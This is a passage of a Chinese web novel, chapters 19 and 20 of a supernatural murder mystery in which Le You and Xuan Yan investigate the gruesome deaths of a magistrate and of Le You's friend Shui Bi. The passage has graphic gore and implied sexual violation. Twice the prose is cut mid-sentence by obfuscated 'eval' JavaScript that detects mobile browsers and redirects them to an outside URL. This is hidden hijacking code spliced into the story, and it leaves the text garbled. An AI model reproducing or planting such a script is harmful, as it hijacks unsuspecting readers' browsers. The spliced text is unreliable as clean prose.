“别人都能吃饱，怎么就你吃不饱？回去回去！”拿着锅铲的龟奴用沾着饭粒的锅铲赶乐游，像赶苍蝇一般。 乐游撸了把袖子，直接用手抓住挥舞的锅铲，龟奴手下使劲，想抢回锅铲却没想到乐游力气如此之大，不管怎么使劲，乐游都纹丝不动。 两人一时僵持不下，水碧连忙上前抓着乐游的袖子说：“我今日胃口不好，我的饭菜给你。” 见乐游没说话，水碧又抓着她的袖子晃了几下：“好不好？”眼里几分祈求。 乐游环视周围一圈看热闹的，暗想把事情闹大对她不利。于是放开锅铲，轻哼一声，左手端着碗，右手拉着水碧的衣袖回到饭桌上。 水碧把自己的碗推到乐游面前，温柔道：“你吃吧，吃饱些。” 乐游又把碗推回去，摇摇头：“怎么好意思让你饿肚子呢，我其实吃得差不多了。” “你午时就没吃多少，现在吃这么点儿肯定没吃饱，你吃吧，我现在真的一点胃口也没有，你不吃我也吃不下了。所以为了不浪费粮食，求求你吃吧。”水碧捧着双手作出祈求的表情，眨巴着水灵灵的大眼睛：“浪费粮食很不好哦。” 两人拉扯一番后，碗里的饭菜都快凉了，乐游提出一人一半，两人才分食着吃完一小碗饭。 夜幕降临，满春院又热闹起来了。容姐还在县衙没回来，无人理会乐游和水碧，乐游便偷偷潜进水碧的房间。 水碧的房间在走廊尽头，不如乐游的大，朝向也不好，常年阴沉，但是难得得很清净。 乐游没敲门，蹑手蹑脚地推开门，走到水碧身后。 水碧正坐在梳妆台前照镜子，突然就见镜子里出现了一个女子的鬼脸，顿时被吓得哇哇大叫。 乐游一把捂住她的嘴，慌忙道：“别害怕别害怕，是我，乐游。” 听到乐游的声音，水碧才松一口气没有继续挣扎：“乐游，你吓死我了，你走路怎么没有声音？”水碧抱着乐游的手臂，仍觉得惊魂未定。 “对不起嘛～”乐游双臂环着水碧的脖子，这个角度刚好可以看到镜子里亲密的两人。一转眼，乐游看到了台上的那支吊坠发簪，便开口说道：“水碧，你不是想找你的朋友吗？今日领着衙役来满春院的那个人，是我的师弟，他如今负责查县令遇害一案。要不你跟我说说你朋友长什么样，我让他多留意留意。” 水碧顿了片刻后说：“真的吗？” 乐游换了个姿势，站直身子，用力地点头：“当然啦，我和我师弟很厉害的，之前在青云城我俩就帮宋小姐破案了呢。其实我这次回满春院也是为了查案，你跟我说说，说不定我们真的可以帮你。”乐游语气很认真。 水碧没听过青云城的事，但她相信乐游，犹豫一会儿后便朝乐游招招手示意她弯腰凑过来，然后在她耳边说：“今日官爷们要找的，手上有云朵胎记的女子就是我的朋友悠悠。但她怎么会杀人呢？” 19. 水碧之死 悠悠全名叫徐悠悠，在满春院的花名叫竹薇，弹得一手好琴，曾经也算是满春院人气颇盛的红牌。 竹薇在满春院有几个常客，这几个常客都是清水县的纨绔子弟，其中有一个是布庄钱老爷的独子，叫钱宗宝，性子暴戾，嗜酒成性，没少折磨竹薇。 乐游捡到的那支发簪就是钱宗宝送给竹薇的，玄砚如约将乐游召到县衙时，乐游把这几天听到的都告诉了他。 “竹薇......我在查看满春院出局记录时发现自从七月十四号之后，就再也没有出现过竹薇这个名字。”玄砚思索一番后说道：“这个竹薇夜里出局大多是去布庄、米铺还有当铺。” “布庄钱宗宝、米铺潘建成和当铺的吴喜用......可奇怪的是，钱宗宝是布庄钱老爷的独子，潘建成是米铺的老板，竹薇的出局费对他们来说是九牛一毛，可这个吴喜用只是当铺的一个伙计，怎么会付得起竹薇的出局费。”玄砚继续说。 乐游也觉得奇怪，这几天在满春院，水碧也从未对她提起过吴喜用这个名字。乐游毫无思绪，百无聊赖地翻着出局册子。 乐游大致翻看一遍后，仔细地举起册子对光观察着什么，她把册子凑到鼻子下，来回闻过几页后，两眼放光地说：“我好像发现什么了！” “七月十五的这页是后来重新写的，它用的笔墨也有些不同，闻起来带着一丝幽香，明显比其他记录用的笔墨要好。”乐游又趴在册子上反复嗅来嗅去，最后肯定地说道：“七月十五那天一定发生过什么，不然为什么这天的出局记录会被换下来。” “不如我们先去钱家布庄走一趟？”乐游说：“先去会一会这个钱宗宝。” 钱家布庄是清水县最大的布庄，生意做得很大，分店铺不仅遍布清水县，还在临县也有不少分店铺。 乐游和玄砚进去时，店里的掌柜很是警惕地看了眼两人。 “二位看起来面生，可是外地来的，想要买什么样式的布匹。”掌柜迎上来客气道。 “我们随便看看就好，你不用管我们。”乐游说。 掌柜点点头，应了句好，但仍一直跟在乐游和玄砚身后。 乐游指着一匹粉色绸布对玄砚说：“你看这个颜色适合我吗？” “还不错。”玄砚点点头，然后转身对身后的掌柜说：“麻烦帮我把这批布包起来。” “啊？”乐游只是见这颜色好看，心生喜欢，但并没有买的意思。 掌柜的也错愕了一瞬，然后连忙上前说：“这位姑娘的眼光真好，这是我们店最近刚从湖州进来的湖绫绢。” “我们店不仅布匹物美价廉，我们的裁缝师傅做衣服的水平也是一流的，款式最是新颖，清水县的小姐夫人们最爱来我们店做衣服了。小姐可需要将布匹做成成衣。” 乐游看了眼玄砚后，点点头说：“行。” 裁缝给乐游量尺寸时，玄砚与掌柜就在室外候着。玄砚坐在椅子上面无表情，让人看不出深浅。掌柜在一旁为他添茶水，心里有自己的小九九。 钱家布庄最不缺客户了，只买一匹布的顾客，别说是为他添茶，以往他都不会亲自招待。只是这两人却不一样，从他们两个进来的那一刻，他就认出来这女子身上穿得样式是满春院在自家布庄定的款。而那男子相貌堂堂，玉质金相，一看就不是一般人。听说县衙最近来新来了位专门查县令遇害案的高人...... 只是不知道这两人来布庄做什么，难不成真的是来选布匹的？掌柜的思忖着，他已经派人通知钱老爷了。 乐游量完尺寸后从里面出来，恰好钱老爷也来了店铺，与两人撞了个正着。 “这位可是县衙新来的官爷？”钱老爷虽然已是花甲之年，但精神矍铄，说话中气十足，并无老态龙钟之色。 “钱二，你可有怠慢官爷呀？”钱老爷眼神犀利地看向掌柜，掌柜微微弓着腰，恭敬道：“小人岂敢怠慢官爷。” “官爷可有看中的布匹，尽管随意拿。”钱老爷朝玄砚拱拱手。 “不必了。”从掌柜一直跟着他们时，玄砚就知道他们的身份暴露了，但他们来此也并没有隐瞒身份之意。 “我想去当只金簪子，我们先走吧。”乐游扯扯玄砚的衣袖，从袖中掏出一只金簪，不舍道：“希望能换个好价钱，这可是我最好的朋友送给我的。” 一见那簪子，钱老爷的眼神有些诡谲，他没作声，沉着脸色看两人走出布庄。 一出布庄，乐游就说：“钱老爷看到这发簪时的神情不对劲，看来钱宗宝真的有问题。” 玄砚也看出来了，他点点头。这发簪做工精巧，并非是寻常人家能有的。 “我们再去当铺看看？”乐游说道。 吴喜用所在的当铺规格并不大，因为来典当的客人并不多，所以店里只有一个吴喜用一个伙计。 “二位想典当些什么？”吴喜用问道。他看起来很年轻，应该与徐悠悠年龄相仿，面皮白嫩，不像当铺的伙计反而像书院的书生。 “我想当只金簪子。”乐游从袖中掏出一只金簪子放到柜台上。 吴喜用拿起簪子细细查看后，说道：“这簪子做工精细，应当是出自白玉堂，簪身用的是纯金缀以点翠，流苏下的宝石成色也很好。这支发簪应该能当个好价钱。”吴喜用语气温和，神色平常，只是规矩地像乐游解释。 乐游不动声色地打量着他的神色，试图从中找到一丝异样，乐游盯着他说：“这簪子是我最好的朋友送给我的，如若不是实在有难言之隐，我是绝不会当掉这支簪子的。” 吴喜用面上没有什么神情，但语气带着几分安慰说道：“姑娘莫担心，以后会好的。” 吴喜估好价格后，拿出写好的契约递给乐游：“姑娘考虑好了便在上面摁个手印，在柜台前货款两讫，离开后就不能反悔了。” 乐游犹豫片刻后，拿起发簪说：“小哥，我再考虑考虑罢，麻烦你了。” “没事。”吴喜用也不生气，好像没有情绪般。 乐游出来满春院多时，此时天色已有些昏暗。 “还有米铺没去，今天肯定来不及去了，我得回满春院，不然容姐会怀疑我。”乐游抬头看着逐渐西落的太阳说。 玄砚不可置否，像上次一样送她回满春院，只是这一次他只将乐游送到离满春院不远处的小巷旁。 “你在满春院要多加小心。”玄砚最后嘱咐道。 乐游不以为然地挑挑眉：“放心吧！”这句话听得她耳朵都起茧了。 夜里，乐游正思索着明日该怎么像水碧打听打听吴喜用，门外突然响起一阵敲门声。这声音有些距离，之所以会引起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547262|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐游的注意是因为这敲门声响起之后，房门迟迟未开。敲门的人契而不舍，一直轻轻敲着，直到最后，敲门声急躁起来。 有人开始撞门，第一下、第二下、第三下，门被撞开了。乐游起身想看看怎么回事，就听一阵尖叫声传来。 “死人了！！！” 是容姐的声音，乐游心里闪过一丝不好的猜想。乐游连忙推开门跑出去。 门大开着，里面一个女子开膛破肚地躺在地上，她的肚子像是炸开了，血肉模糊，破损的内脏混杂着血水从她肚子里流出来，空气中弥漫着一股血腥味。见过这个场面的人都忍不住呕吐，容姐更是脸色惨白，站都站不稳，哆哆嗦嗦地说：“去报官，快去报官。” 乐游看着地上躺的女子，亦是脸色惨白，只是她并不是因为害怕，而是不可置信，因为躺在地上，爆体而亡的女子居然是水碧。 “轰——”地一声，乐游觉得内心似乎有什么东西在坍塌，两行清泪从她的眼眶溢出。 “水碧......”乐游嘴唇颤抖着，不敢相信这个事实。怎么会，怎么会这样呢？水碧的死状和县令的死状一样，可水碧只是一个小丫头，到底是谁会这么对她？ 乐游痛苦地捂住脸，想不通为什么事情会发展成这样，这么好的水碧，这么憧憬着未来的水碧，怎么...怎么会这样？说好的，以后为她赎身，可惜她再也等不到了。 “呜呜呜呜呜......”官府的衙役来了，立马封锁了水碧的房间。乐游也被赶出去了，她蹲在墙角呜咽着。 出了命案，官府的人都来了，有些恩客想偷偷跑出去，却被守在外面的官兵抓了回来。 “满春院命案，今夜在满春院的所有人都不得离开满春院半步！”为首持刀的人说。 玄砚也来了，他身后跟着李毅和沈宋。 玄砚隔着人群，盯着缩在墙角的乐游，神色几分担忧。沈宋看出了他的担忧，主动拨开人群挤到墙角。 “乐游姑娘先回房休息休息吧。”沈宋主动对乐游说，虽然不知道乐游为什么会沦落到满春院，玄砚又为什么要装作与她不熟的样子，但是沈宋相信他们是好人，他们这么做一定有他们的道理。 乐游记得沈宋，既然沈宋都来了，那玄砚应该也来了吧。乐游点点头，站起身跟在沈宋身后。 满春院现在乱成一锅粥，没人会注意到乐游，乐游坐在椅子上，听到门外响起一阵脚步声，接着有人走进房间。 “怎么没有点灯？”玄砚点燃了桌子上的蜡烛，房间逐渐被照亮，玄砚也看清楚了乐游脸上的泪花。 “死的人是水碧。”乐游咬牙切齿地说：“我一定要抓出凶手，替水碧报仇。” 玄砚用衣袖替她擦干眼泪，沉声说道：“现场我去看过了，水碧也是爆体而亡。问过满春院的龟奴，听他说今日满春院来了个蒙面的‘公子’，手上也有云朵状红色胎记。” 乐游抬起头，脸色迷茫：“云朵状红色胎记？是...是徐悠悠吗？怎么会，她们不是好朋友吗？徐悠悠为什么要这么对水碧？”乐游不解。 玄砚摇摇头：“这件事很可疑，徐悠悠消失不见多日，原因还尚且不知。如今县令和水碧的死，也都和她扯上了关系。或许...或许真的徐悠悠早就不在了，只是有心人利用了她的身份来杀人。” 20. 水碧之死2 满春院接二连三地出事，纵是爱财如命的容姐这几天也不敢开业，满春院的大门不论白日黑夜都关着。里面的姑娘都除了吃饭，其余时间都不允许出房门，乐游已经好几天没见到过容姐了。 县衙的仵作衙役来来回回检验好几次，最后得出的结论都是水碧和县令的死法一样。 但乐游始终怀疑水碧和县令的死并非同一人所为。 一次玄砚与仵作同来满春院，仵作观察现场后仍是一无所获，所得结论与上次无异。 此时正值夏季，空气炎热，水碧的房间臭味熏天，若再不能发现些什么，等过几日把现场清理干净后，就彻底找不到线索。 玄砚支开其他衙役，带着乐游进了水碧的房间。 飞溅的血滴早已干涸，破碎的内脏碎片粘在地上、墙上甚至是顶棚上。 水碧的尸体被送到县衙的冰室，地上用笔勾勒出水碧死时的姿势。 乐游居高临下地观察地上用线条勾勒出的人的形态，半晌她说：“爆体而亡应当是一件很痛苦的事，死者肯定会挣扎一番，可水碧死去时的姿势却十分规矩，就像睡着了一样，你看！”乐游用手指顺着地上的线条隔空勾勒了一遍。 “水碧死时确实十分安详，脸上并没有痛苦的神情，若非是开膛破肚，旁人定要以为她只是睡着了。”玄砚说：“大约是有人事先给她下了迷药，让她失去直觉。” “县令死时也是这般安详吗？”乐游问他。 “不，这也是我奇怪的一点，据仵作所说，县令死时脸上的表情十分惊恐，就像是看到什么可怖的东西，还没反应过来就被取了性命。”玄砚与乐游对视一眼后，齐声说道：“所以县令死时并未被下药。” “那是不是就说明杀害水碧和县令的或许不是同一个人？” 这一点连不经人事的乐游都看出来了，县衙的人又怎会不知道？ “可以这么推论，但这只是推测，必须要找到证据证明。”玄砚双眸深沉：“如果杀害水碧和县令的不是一个人，那么他们这么做的目的是什么呢？县令身居官场，或许是被哪方不对付的势力报复。但水碧只是一个小姑娘，谁会用这么残忍的手段报复她？” “县令的贴身家仆说县令遇害那一日见到了手上有云朵状红色胎记的女子，满春院的龟奴也说水碧遇害那日有位手上有云朵状红色胎记的公子。这一切未免太过巧合。”玄砚继续说。 “这间屋子应该已经找不到什么有用的线索，我打算夜里让陆继偷偷潜进县衙里看看水碧和县令的尸体，或许能从尸体中发现些什么。” “陆继？他还与你在一处？”听到陆继的名字，乐游有些惊讶，她还以为陆继伤好后就会和他们分道扬镳呢。 玄砚点点头：“他身上的伤还未痊愈，我把他安顿在客栈。” 夜里，玄砚背着还未痊愈的陆继翻过县衙的高墙，乐游则在前面打探情况。 县衙除了值班的衙役、快班和皂班，其余的人都回家休息了，因此就算带着伤员陆继，他们三人也很容易就混进了冰室。 冰室并不大，水碧和县令的尸体就摆在正中央的床上，用白布覆盖着。 即便心里已经做好准备，可揭开白布，看到水碧惨淡寡绿的面色，乐游内心的悲伤还是翻江倒海般涌上鼻尖，她忍不住揉了揉鼻子，强压下鼻尖的酸意。 玄砚把陆继放下来，对他说：“你能不能从这两具尸体里发现什么？” 陆继看了一眼血腥模糊的尸体，顿时脸色发白，转过身就一阵干呕。 “你...你没事吧？”之前在青云城时，乐游还以为他是装的，现在看来他似乎是真的怕这些。 乐游以为他会像上次一样抗拒，却没想到他摇摇头后，从袖中掏出一双银筷翻动水碧的尸体，脸色惨白着检查。 水碧和县令都是爆体而亡，肚子炸开，内脏破损。两人的尸体几乎快要断成两半，只剩一丝丝骨肉连在一起。 两人的下半身还算完整，可上半身却像破了个大洞，胸口以下的部分都不见了。 陆继查看两人尸体后，捏着水碧的脸颊，把筷子插进她的口腔。 乐游见他面色凝重，于是凑上前问：“是发现什么了吗？” 陆继轻嗯一声，缓声道：“她的喉咙间有严重破损，应当是被人强硬地往喉咙间塞过硬物。” 乐游眼神一顿，半晌后问道：“那县令呢？” “县令嗓子间并无破损。”陆继回答说。 “可否看出水碧嗓子间的伤是何物所致？”玄砚问陆继。 陆继没说话，皱着眉头盯着水碧的尸体，似乎在思考什么。突然他掀开盖在水碧下半身的白布，动手准备解开她的下裙。 乐游连忙阻止他：“你要做什么？” “验尸。”陆继面无表情地看了眼乐游，乐游不再说话，任他动作。 陆继解开她的下裙，用银筷在她□□细细翻动着，良久后抬起头说：“我猜的大概没错。” “这两人的死因并不相同。县令的死有些蹊跷，我看不出什么，但是这个女子之所以爆体而亡应当是有人将她迷晕后，用什么东西往她身体里打气，以至于她爆体而亡。她喉咙间的破损就是打气的管道硬塞所致，我方才检查过她的□□，也有破损，所以......”剩下的话他不说两人也明白了。 “我能做的只有这些，你们快送我回客栈吧。”陆继的脸色唇色皆是苍白骇人，比躺在床上的水碧的颜色好不到哪里去。 玄砚背着陆继回了客栈，之后两人又潜回满春院。满春院不似往常那般热闹，灯火通明。 两人摸黑又去了趟水碧的房间。 能打气致人爆体而亡的器具并不多，说不定这次能在房间里发现什么。 乐游一边仔细观察地面一边问玄砚：“什么东西能打气？” “风箱，这风箱体积一定不小，定会在地面上留下痕迹的。”玄砚回答道。 可惜两人查看一番后仍一无所获，许是凶手案后打扫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715835|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间。 两人决定今夜就先到这，便一起出了门。恰逢有人从后厨出来，乐游急忙拉着玄砚躲在屏风后。 “前几日不是来送过一次酒，怎么这几日满春院没开张，酒还用的这样快。”一个龟奴锤锤自己的肩膀跟同伴抱怨道。 “谁知道呢，这么个大箱子，重死我了。前几日装酒的箱子可没有这么重。”另一个龟奴回答说。 两人抱怨几句后回了自己房间，从始至终没有发现屏风后的两人。 等他们走后，乐游准备上楼，突然被玄砚拉住说：“送来的酒会放在哪里？” 乐游不知道他为什么问这个，不过还是如实说道：“后厨房，普通的酒会放在那，名贵一些的就会被放进专门的酒窖。” “走，我们先去后厨房看看。”玄砚拉着乐游的走往刚刚龟奴出来的方向走去。 乐游亦趋亦步地跟在他身后，小声问道：“去厨房干嘛？” 厨房此时黑灯瞎火，没有一丝人影，玄砚点燃一根细柴火充当蜡烛。 “来看看装酒的箱子。”装酒的箱子并不难找，就放在厨房最显眼的位置。 玄砚撑开木箱的盖子，只见里面整整齐齐摆放着一坛坛酒。 “这箱子有什么不对的吗？”乐游也凑近，差点醉倒在扑鼻的酒香里。 “我只是在怀疑，这么大的风箱怎么才能运进满春院又不被发现呢？”玄砚绕着大木箱走了一圈。 乐游还沉浸在酒香里，听到他说的话之后，有些疑惑地问：“你是怀疑有人用运酒的名义将风箱藏进大箱子里运进满春院？” “对。” 乐游把鼻子凑到木箱上，绕着木箱子走了一圈后，半趴在地上去闻箱子的一角。 “怎么了？你闻到了什么？”玄砚走近乐游。 乐游又凑近闻了一阵后，摇摇头：“我闻到了一股香味儿，很熟悉，但一时间想不起是在哪里闻过这味道。” “除了这股味道还有什么其他味道吗？” “还有一点点汗味？”乐游从地上站起来，因为蹲到太久，脚下一个踉跄。 玄砚眼疾手快扶了她一把，说道：“今夜你辛苦了，先回去休息吧。” “好。” 玄砚把乐游送到房间后，静静地盯着她说道：“你在满春院要多加小心。” 房间里没有点灯，只有凉凉的月光透过半开的窗户洒进房间。冷白的月光像面纱般覆盖在玄砚的侧脸，只露出他幽深的双眸。 “好。”乐游认真地回复道。水碧的死给她带来了沉重的打击，也让她更加深刻地认识到了人间的危险，纵使他们一个是上古神兽一个是灵力高强的守灵人，却仍无法掌控许多事情，甚至...甚至连自己的好朋友都保护不了。 玄砚走后，乐游躺在床上，久久未眠。这几日她夜夜都难以合眼，一闭上眼睛脑袋里就全是水碧的死状。 如果...如果她再使用一次神力，水碧是不是就会活过来了......